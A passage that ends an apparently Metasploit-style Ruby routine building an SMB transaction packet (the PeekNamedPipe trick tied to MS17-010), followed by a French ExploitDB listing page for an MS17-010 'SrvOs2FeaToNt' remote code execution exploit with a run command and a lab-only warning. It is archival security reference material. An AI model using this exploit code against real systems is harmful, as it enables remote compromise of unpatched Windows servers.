    pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_TRANSACTION
    pkt['Payload']['SMB'].v['Flags1'] = 0x18
    pkt['Payload']['SMB'].v['Flags2'] = 0x2801 # 0xc803 would unicode
    pkt['Payload']['SMB'].v['TreeID'] = tree_id
    pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
    pkt['Payload'].v['ParamCountMax'] = 0xffff
    pkt['Payload'].v['DataCountMax'] = 0xffff
    pkt['Payload'].v['ParamOffset'] = param_offset
    pkt['Payload'].v['DataOffset'] = data_offset

    # actual magic: PeekNamedPipe FID=0, \PIPE\
    pkt['Payload'].v['SetupCount'] = setup_count
    pkt['Payload'].v['SetupData'] = setup
    pkt['Payload'].v['Payload'] = trans

    pkt.to_s
  end
end
ExploitDB remote windows_x86-64
Source

Microsoft Windows Server 2008 R2 (x64) - 'SrvOs2FeaToNt' SMB Remote Code Execution (MS17-010)

Par Juan Sacco

Comment tester cet exploit

Exploit distant. Ciblez une instance vulnérable isolée (VM/lab), jamais un système de production.

python3 41987.py

Code

Contenu pas encore matérialisé (récupéré au prochain cycle).

Voir à la source